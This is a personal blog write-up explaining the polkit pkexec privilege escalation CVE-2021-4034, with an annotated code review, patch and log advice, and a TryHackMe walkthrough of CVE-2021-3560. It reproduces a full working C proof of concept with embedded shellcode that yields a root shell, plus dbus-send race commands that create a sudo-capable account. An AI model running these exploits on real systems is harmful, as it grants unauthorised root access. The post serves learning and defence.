Logo root@nayyyr:~/blog#
Playing with Pwnkit: CVE-2021-4034

Playing with Pwnkit: CVE-2021-4034

January 26, 2022
14 min read
Table of Contents

asdf

Intro

Hello once again! I have been busy as of late, so that’s why content’s a little slow (trojan dnSpy post coming soonTM). However, the disclosure of a new vulnerability (see disclosure post here) in polkit’s pkexec has captured the attention of the masses, and I thought I’d take this time to explain the vulnerability, for my own learning’s sake, and the learning of anyone reading this.

A brief summary: The pkexec program in major *nix operating systems has a vulnerability that allows you to write out of bounds into in an environment variable, allowing us to introduce a “malicious” environment variable. This can be leveraged to pop a root shell since pkexec runs with SUID privileges. We will explore why this happens and a proof of concept. In Beyond the Flag Shell, we’ll briefly look at another polkit exploit, CVE-2021-3560.

What Happened?

Overview

The Qualys Research Team discovered a vulnerability in pkexec and sent an advisory to Red Hat in November of 2021 (hence the CVE number), and the “full” writeup of the exploit was released yesterday, January 25, 2022.

But why are people talking about it? Don’t CVE’s come out all of the time?

Yes, they do. However, this vulnerability is somewhat of a rarity for a couple of reasons:

  • pkexec is installed by default in almost all major Linux distributions, meaning it’s more likely to find in the wild
  • This vulnerability has existed since the creation of the program in May 2009
  • Any local user on a Linux machine can escalate to root with this exploit
  • Even though this exploit does memory-shenanigans, none of it really has to do with the computer architecture
  • It’s exploitable even if you turn off the polkit daemon

And the best part? It’s not nearly as complicated as other vulnerabilities of this nature like something like Baron Samedit. As of the writing of this, there is no official patch that’s been released, but I don’t plan on publishing this until there has been a patch. If I remember to come back here and include the patching information, I will.

Edit: Seems that Ubuntu and other distros have pushed out patches already, so just update your systems. If your distro has not recieved a patch, you can put a band-aid on the problem by doing chmod 0755 /usr/bin/pkexec, because the SUID bit allows the root access.

If you think you may have been exploited, check the logs for “The value for the SHELL variable was not found the /etc/shells file” or “The value for environment variable […] contains suspicious content.” However, there is a way to make sure these entries never show up in the first place.

asdf Couldn’t find any pictures for “polkit” that didn’t scream a CVE number, so take this penguin instead.

Ok, but what even is Polkit?

Polkit is like sudo, but not.

To be more specific, polkit (Policy Toolkit) is part of Linux’s authorization system. If a user tries to do something that requires elevated privileges, polkit can be used to determine if you have the privileges to do so.

So you might be asking yourself, “how is this different from sudo?” While it isn’t fully necessary to understand this for the exploit, polkit actually is integrated with systemd and has a greater ability to be configured than sudo. Though it gets used with processes more than shell commands, pkexec, the program of interest, is a CLI version of polkit that is SUID-root and can be used in a way similar to sudo, that is, running commands as root.

The Vulnerability

WARNING: If you are not familiar with a language like C in the slightest, the following information might be overwhelming at first. That doesn’t mean you can’t understand it, but I recommend briefly looking at the notes from Harvard CS50x to be in a position to truly understand how this exploit functions.

Code Review

I’m pulling most of this from the Qualys writeup linked here and linked in the introduction, but I’ll go a bit slower for people who don’t read advisories like this very much. The vulnerability exists in pkexec’s main() function. The relevant section is shown below:

 435 main (int argc, char *argv[])
 436 {
 ...
 534   for (n = 1; n < (guint) argc; n++)
 535     {
 ...
 568     }
 ...
 610   path = g_strdup (argv[n]);
 ...
 629   if (path[0] != '/')
 630     {
 ...
 632       s = g_find_program_in_path (path);
 ...
 639       argv[n] = path = s;
 640     }

Let’s break this down:

  • Line 435 is the declaration of the main() function, which contains the code that is actually run in the program.
    • The argc represents how many command line arguments were passed into the program
    • argv is a pointer to the array containing the values
  • Lines 534-586 are responsible for processing the command line arguments
  • Lines 610-640 search for the program to be executed if the path is not absolute
    • See the if statement on line 629. We’re saying “if the first character of my path is NOT a ’/’”, which is only true if the path passed in is an absolute path.
    • Ex: /usr/bin/true will not trigger it, but just true will

So what’s wrong here? Suppose the number of command line arguments is 0, so argc=0. Follow it through the code:

  • On line 534, the for loop becomes for (n=1; n<0; n++){}, meaning n is just stuck at 1
  • On line 610, this n gets passed to g_strdup(argv[n]), meaning it reads argv[1], which is out-of-bounds
    • In C, if you reference an index of a list that isn’t there, the program will not immediately throw an error, because there is no runtime checking of the size.
  • On line 639, we write the output of line 632 to argv[1], which is still out-of-bounds

By this point, we should see that we can read and write to a section of memory beyond what was intended? But what are we reading and writing?

adsf Credit: CyberArk Although this exploit isn’t a memory overflow, I liked the picture :)

Aside: execve()

In order to have full control over how we want the program to execute, in C, we can use a method called execve(). To keep things simple, there are a number of similar but different ways to run system commands from a C program. system(), for example, takes the given input, and basically runs /bin/sh -c COMMAND. If you called system("ls"), it’s pretty similar to opening a new terminal, running ls, and then closing it. There’s some nuance here to be acknowledged:

  • By using /bin/sh -c we’re implicitly passing all of the environment variables that would be in a default shell into our ls program
    • This also means it does not create a new process directly.
  • Given it’s simplicity, it’s actually prone to command injection if used with unchecked user input

execve(), on the other hand, gives us access to more granular control over our execution. Below is the function prototype:

int execve(const char *filename, char *const argv[], char *const envp[]);

Here, we pass the filename to be executed, the arguments we want passed, and an array of environment variables. This is significant because it provides tighter coupling between what we intend to do and how it’s reflected in the code.

Putting it Together

The memory layout of a process, specifically concerning environment variables, looks like this diagram I stole from my Security class’ slides:

asdf

The argv[] array (containing the arguments) and the envp[] array (containing the environment variables) are contiguous in memory, meaning they’re right next to each other.

When we execve() a new program, the current process will replace its memory image with the a program loaded from disk (specified in the arguments).

SO. Suppose we run execve("/usr/bin/pkexec", {NULL}, bad_envp[]). That block of arg[] is only arg[0]. But, remember, we can write to arg[1]. Since C doesn’t check this stuff at runtime, arg[1] will point to envp[0], MEANING, we can throw whatever environment variable we want into pkexec’s runtime, which is SUID-root.

The Actual Hack

Everything before this is the bulk of the exploit. I don’t want to fully rewrite the original writeup in my own words so as to take away from their discovery, so I’ll explain the “payload delivery” bit very briefly.

Quote Qualys:

“if our PATH is “PATH=name=.”, and if the directory “name=.” exists and contains an executable file named “value”, then a pointer to the string “name=./value” is written out-of-bounds to envp[0] … Our question is: to successfully exploit this vulnerability, which ‘unsecure’ variable should we re-introduce into pkexec’s environment?”

The short answer to this is that, at some point, pkexec can write an error to standard error using a library that allows you to change the character set used in the error message. That functionality eventually leads to the loading of a shared object (.so) file, which we can control by setting environment variables to load a specific configuration, of our choice.

We can set up a malicious shared object file to pop a shell, and since it runs as SUID-root, that shell will be a root shell. If you want to read the specifics, again, I encourage, and implore you, to go read the linked blog posts from the research team itself.

gib hax pls

Okay, so long theory explanation over, I now gib hax.

hax

Proof of Concept

A number of PoC’s (proof of concepts) have popped up on GitHub since the writeup was put out. The first one I found was by clubby789, who does a lot of stuff over at HackTheBox. This is their source code:

#include <sys/stat.h>
#include <stddef.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
 
// https://saarsec.rocks/2020/05/14/golf.so.html
const char evil_so[] = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x28\x80\x04\x08\x00\x00\x00\x00\x3f\x00\x00\x00\x00\x00\x00\x00\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\xeb\x06\x40\x00\x38\x00\x02\x00\x48\xf7\xdb\xeb\x18\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\x31\xc0\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x69\xeb\x5a\x00\x00\xd4\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00\x8f\x00\x00\x00\x00\x00\x00\x00\x8f\x80\x04\x08\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x28\x80\x04\x08\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x48\x31\xff\x0f\x05\xb8\x6a\x00\x00\x00\x0f\x05\x5f\xb8\x3b\x00\x00\x00\x0f\x05";
const char evil_mod[] = "module INTERNAL evil// evil 2\n";
char *envp[] = {
        "evildir",
        "PATH=GCONV_PATH=.",
        "CHARSET=evil",
        "SHELL=evil",
        NULL
    };
 
int main() {
    int fd;
    char* dir = mkdtemp("pkexec");
    chdir(dir);
    // Create a fake executable
    mkdir("GCONV_PATH=.", 0755);
    fd = open("GCONV_PATH=./evildir", O_WRONLY|O_CREAT, 0755);
    close(fd);
    // Executing 'evildir' with PATH set to our 'GCONV_PATH=.' dir will map to
    // GCONV_PATH=./evildir, which will be written into argv[1] (really envp[0])
    mkdir("evildir", 0755);
    // Setup a malicious gconv-modules which uses GCONV_PATH/evil.so to convert to
    // charset 'evil'
    fd = open("evildir/gconv-modules", O_WRONLY|O_CREAT, 0755);
    write(fd, evil_mod, sizeof(evil_mod));
    close(fd);
    // Create a shared object that pops a shell upon load
    fd = open("evildir/evil.so", O_WRONLY|O_CREAT, 0755);
    write(fd, evil_so, sizeof(evil_so));
    close(fd);
    char* argv[] = {NULL};
    execve("/usr/bin/pkexec", argv, envp);
}

It definitely looks foreign at first, but, if you’ve been able to follow along, this isn’t as complex. A lot of it is just setting up the scenario to point the PATH in the wrong direction and creating the payload. But, if you just take a moment to abstract all of that and not really pay attention, just look at the execve() call.

char *envp[] = {
        "evildir",
        "PATH=GCONV_PATH=.",
        "CHARSET=evil",
        "SHELL=evil",
        NULL
    };
/* ...[trim]... */
char* argv[] = {NULL};
execve("/usr/bin/pkexec", argv, envp);

At the end of the day, all this exploit is, is not accounting for environment variables as a potential attack surface. We run pkexec in a condition where it throws an error (all of the memory stuff), and then change around some configuration to force the message printing library into loading our own shared object (the payload stuff).

Running It

As we’ve discussed, this works on pretty much any Linux distro (with a few exceptions). I’ll run it on my Kali Linux VM, which runs Debian. I was going to do my Ubuntu VM too, but it turns out patches went live and I don’t feel like downgrading right now.

kali@transistor:/tmp/pwnkit$ cat /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2021.4"
VERSION_ID="2021.4"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
kali@transistor:/tmp/pwnkit$ uname -a; id
Linux transistor 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 GNU/Linux
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),120(wireshark),134(scanner),142(vboxsf),143(kaboxer),148(docker)
kali@transistor:/tmp/pwnkit$ gcc -o poc poc.c
kali@transistor:/tmp/pwnkit$ ./poc
# whoami; id                                                                                                                                                                                                                                 
root
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),120(wireshark),134(scanner),142(vboxsf),143(kaboxer),148(docker),1000(kali)
Although kali is part of the sudoers group, the user requires a password to be entered to run sudo commands, so ignore that.

Beyond the Shell

CVE-2021-3560

This is not the first time, nor has it been that long since, polkit/pkexec has had some exploit. In early 2021, a researcher named Kevin Backhouse discovered a “race condition” vulnerability in pkexec which could allow for a local privilege escalation.

I’m not going to go through excruciating detail about the vulnerability like I did with pwnkit, mainly because MuirlandOracle does an excellent job explaining and demonstrating this in his TryHackMe room, found here. Essentially, there was poor error-handling in polkit that made it so if you killed a message that was sent to the dbus-daemon to destroy the ID, polkit just assumed you were root. The easiest way to exploit this was by creating an account that had unrestricted sudo permissions.

This vulnerability has since been patched and is really just old news at this point, but I thought it was worth covering since these events happened within a year of each other.

Running It

I’ll use the VM provided in the TryHackMe room to show off the vulnerability, rather than downgrading polkit on my own VMs.

We start by timing how long it takes to send a request to the accounts daemon to create a new account. Obviously, we don’t have the privileges to do so, so the system will not let this command execute fully.

tryhackme@polkit:~$ time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
 
real	0m0.013s
user	0m0.002s
sys	0m0.001s

Knowing it takes ~13 ms to send, we can kill the message around half way to create the user. I used 5ms because I knew it would work according to the room, but this may vary from system to system.

tryhackme@polkit:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
[1] 1221
tryhackme@polkit:~$ id attacker
uid=1000(attacker) gid=1000(attacker) groups=1000(attacker),27(sudo)
[1]+  Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

Now that we have a user account on the system, we can set the password by running a fairly similar command. We use openssl to generate the password, and then do the exact same sleep + kill combo.

tryhackme@polkit:~$ openssl passwd -6 Expl01ted
$6$Rx/sHu1M9CDI6FLK$ZHR7m1cxl/NyXxRcjJmNJgM6y79if4xVVBB7CFDaZ4pr9JJZ7vU/E32rxYz6U1r3pskGPfxKxXOOKVNkiNDYB/
tryhackme@polkit:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
[1] 1258

After this, we can use our new password to login as the attacker user. SInce it was created by root, it just has the sudo privileges to begin with (unless I misunderstood something), and we can read the flag.

tryhackme@polkit:~$ su attacker
Password: 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
 
attacker@polkit:/home/tryhackme$ sudo -l
[sudo] password for attacker: 
Matching Defaults entries for attacker on polkit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User attacker may run the following commands on polkit:
    (ALL : ALL) ALL
attacker@polkit:/home/tryhackme$ sudo su
root@polkit:/home/tryhackme# cat /root/root.txt
BDN7EHDcmso=-N5HMV39gdAqpdAGw-csqSrYXsfjYr/yw+2Cihqx08xOnysI3kSTjRw2I6kMac7WdfXNNs/A==
The reason the flag looks weird is because this was the first (and last?) time they tried to implement dynamic flags.

The Takeaway

In the grand scheme of things, I am pretty new to the security scene, and exploits like this aren’t necessarily new. However, one thing I want to impart to people beginning to learn about security as a practice is this: Designing a system with security in mind from the beginning is always better than remediating later.

This program, pkexec, was introduced in May 2009(!!!) meaning if it were a human person, it would be in middle school right now, which is kind of a long time. Not to say that security wasn’t a thing back in 2009, but it wasn’t nearly as a relevant issue as it is now.

Simply put, when you write things in C, you must be very, very careful with how you handle things because you have so much control over what the system does, and thus it’s very easy to introduce vulnerabilities such as the ones demonstrated here. It’s even easier to introduce those vulnerabilities when you’re not thinking about how your code can be abused. Hopefully I don’t come off as too bureaucratic, but this is just how the world of hacking and developement goes.

Conclusion

If you’ve made it this far, thank you for reading. Even I’m still learning about exploit developement and handling things at a memory-level and deeper, but just writing all of this was a great learning experience for me. I actually rewrote clubby’s PoC in Golang just so I could get more practice with the language, so if you want to check that out, you can find it here.

Until next time! (when I have free time…)